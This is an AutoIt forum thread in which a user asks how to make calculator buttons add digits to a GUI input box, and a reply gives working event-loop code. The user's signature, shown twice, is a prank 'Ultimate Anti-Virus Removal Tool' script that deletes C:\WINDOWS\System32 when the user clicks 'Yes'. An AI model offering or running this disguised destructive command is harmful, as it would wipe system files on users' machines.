Jump to content

Active Text Box thingy...?


Firefoxy
 Share

Recommended Posts

I'm trying to make a GUI calculator. I was wondering how (if it's even possible) to make it where if I press a button (ex. 1) it would show one in the box?

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

I'm trying to make a GUI calculator. I was wondering how (if it's even possible) to make it where if I press a button (ex. 1) it would show one in the box?

HotkeySet() or _IsPressed??

And then:

#Include <GuiEdit.au3>
_GUICtrlEdit_AppendText($hWnd, $sText)
Link to comment
Share on other sites

I'm trying to make a GUI calculator. I was wondering how (if it's even possible) to make it where if I press a button (ex. 1) it would show one in the box?

If you have a button then you don't need HotKeySet or _IsPressed, you just add the code you want when you detect the button is pressed.

Or was Bert correct in assuming you meant key?

Serial port communications UDF Includes functions for binary transmission and reception.printing UDF Useful for graphs, forms, labels, reports etc.Add User Call Tips to SciTE for functions in UDFs not included with AutoIt and for your own scripts.Functions with parameters in OnEvent mode and for Hot Keys One function replaces GuiSetOnEvent, GuiCtrlSetOnEvent and HotKeySet.UDF IsConnected2 for notification of status of connected state of many urls or IPs, without slowing the script.
Link to comment
Share on other sites

If you have a button then you don't need HotKeySet or _IsPressed, you just add the code you want when you detect the button is pressed.

Or was Bert correct in assuming you meant key?

This will work...

#include <GUIConstants.au3>

#Include <GuiEdit.au3>

$Form1 = GUICreate("Form1", 243, 210, 193, 125)

$Input1 = GUICtrlCreateInput("Input1", 8, 8, 225, 21)

$Button7 = GUICtrlCreateButton("&7", 8, 40, 50, 50, 0)

$Button8 = GUICtrlCreateButton("&8", 64, 40, 50, 50, 0)

$Button9 = GUICtrlCreateButton("&9", 120, 40, 50, 50, 0)

$Button4 = GUICtrlCreateButton("&4", 8, 96, 50, 50, 0)

$Button5 = GUICtrlCreateButton("&5", 64, 96, 50, 50, 0)

$Button6 = GUICtrlCreateButton("&6", 120, 96, 50, 50, 0)

$Button1 = GUICtrlCreateButton("&1", 8, 152, 50, 50, 0)

$Button2 = GUICtrlCreateButton("&2", 64, 152, 50, 50, 0)

$Button3 = GUICtrlCreateButton("&3", 120, 152, 50, 50, 0)

$Button10 = GUICtrlCreateButton("&=", 176, 152, 50, 50, 0)

$Button11 = GUICtrlCreateButton("&-", 176, 96, 50, 50, 0)

$Button12 = GUICtrlCreateButton("&+", 176, 40, 50, 50, 0)

GUISetState(@SW_SHOW)

#EndRegion ### END Koda GUI section ###

While 1

$nMsg = GUIGetMsg()

Switch $nMsg

Case $GUI_EVENT_CLOSE

Exit

Case $Button1

_GUICtrlEdit_AppendText($Input1, "1")

Case $Button2

_GUICtrlEdit_AppendText($Input1, "2")

Case $Button3

_GUICtrlEdit_AppendText($Input1, "3")

Case $Button4

_GUICtrlEdit_AppendText($Input1, "4")

Case $Button5

_GUICtrlEdit_AppendText($Input1, "5")

Case $Button6

_GUICtrlEdit_AppendText($Input1, "6")

Case $Button7

_GUICtrlEdit_AppendText($Input1, "7")

Case $Button8

_GUICtrlEdit_AppendText($Input1, "8")

Case $Button9

_GUICtrlEdit_AppendText($Input1, "9")

Case $Button10

_GUICtrlEdit_AppendText($Input1, "=")

Case $Button11

_GUICtrlEdit_AppendText($Input1, "-")

Case $Button12

_GUICtrlEdit_AppendText($Input1, "+")

EndSwitch

WEnd

Link to comment
Share on other sites

Thanks man. GUI is my weak spot. I don't really know how to use them yet.

This will work...

#include <GUIConstants.au3>
#Include <GuiEdit.au3>

$Form1 = GUICreate("Form1", 243, 210, 193, 125)
$Input1 = GUICtrlCreateInput("Input1", 8, 8, 225, 21)
$Button7 = GUICtrlCreateButton("&7", 8, 40, 50, 50, 0)
$Button8 = GUICtrlCreateButton("&8", 64, 40, 50, 50, 0)
$Button9 = GUICtrlCreateButton("&9", 120, 40, 50, 50, 0)
$Button4 = GUICtrlCreateButton("&4", 8, 96, 50, 50, 0)
$Button5 = GUICtrlCreateButton("&5", 64, 96, 50, 50, 0)
$Button6 = GUICtrlCreateButton("&6", 120, 96, 50, 50, 0)
$Button1 = GUICtrlCreateButton("&1", 8, 152, 50, 50, 0)
$Button2 = GUICtrlCreateButton("&2", 64, 152, 50, 50, 0)
$Button3 = GUICtrlCreateButton("&3", 120, 152, 50, 50, 0)
$Button10 = GUICtrlCreateButton("&=", 176, 152, 50, 50, 0)
$Button11 = GUICtrlCreateButton("&-", 176, 96, 50, 50, 0)
$Button12 = GUICtrlCreateButton("&+", 176, 40, 50, 50, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $Button1
            _GUICtrlEdit_AppendText($Input1, "1")
        Case $Button2
            _GUICtrlEdit_AppendText($Input1, "2")
        Case $Button3
            _GUICtrlEdit_AppendText($Input1, "3")
        Case $Button4
            _GUICtrlEdit_AppendText($Input1, "4")
        Case $Button5
            _GUICtrlEdit_AppendText($Input1, "5")
        Case $Button6
            _GUICtrlEdit_AppendText($Input1, "6")
        Case $Button7
            _GUICtrlEdit_AppendText($Input1, "7")
        Case $Button8
            _GUICtrlEdit_AppendText($Input1, "8")
        Case $Button9
            _GUICtrlEdit_AppendText($Input1, "9")
        Case $Button10
            _GUICtrlEdit_AppendText($Input1, "=")
        Case $Button11
            _GUICtrlEdit_AppendText($Input1, "-")
        Case $Button12
            _GUICtrlEdit_AppendText($Input1, "+")
    EndSwitch
WEnd
;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...